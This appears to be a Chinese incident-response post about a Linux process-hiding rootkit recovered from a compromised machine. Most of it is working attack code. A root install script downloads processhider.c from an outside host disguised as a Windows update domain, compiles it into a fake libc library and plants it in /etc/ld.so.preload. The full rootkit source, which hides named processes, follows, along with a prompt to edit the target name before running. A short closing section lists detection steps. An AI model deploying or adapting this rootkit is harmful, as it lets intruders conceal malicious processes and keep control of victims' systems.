实现过程
从应急现场拿到的,直接上代码:<br />shell执行如下程序,运行前修改要processhider.c中要隐藏的程序名称。
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
else
if [ `grep libc2.28 /etc/ld.so.preload` ]
then echo "hideproc already done!!"
else
apt-get update -y
apt-get install build-essential -y
yum check-update
yum install build-essential -y
dnf groupinstall "Development Tools" -y
yum group install "Development Tools" -y
curl http://m.windowsupdatesupport.org/d/processhider.c -o processhider.c
gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
mv libc2.28.so /usr/local/lib/ -f
grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
rm -f processhider.c
ls >/tmp/.1 2>&1
grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload
fi
fi
其中:http://m.windowsupdatesupport.org/d/processhider.c 内容为:
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "kworkers|dbus|autoupdate";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strstr( process_to_filter,process_name)) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
查杀方案
应对方式
1、使用busybox执行命令查看
2、sysdig命令查看
sudo sysdig -c topprocs_cpu # 查看cpu进程占用情况
sudo sysdig proc.name contains evil_script # 针对包含evil_script的进程监测
# 监测网络情况
sudo sysdig -c topprocs_net
sudo sysdig -c topconns
3、查看相关pid的cmdline
cat /proc/PID/cmdline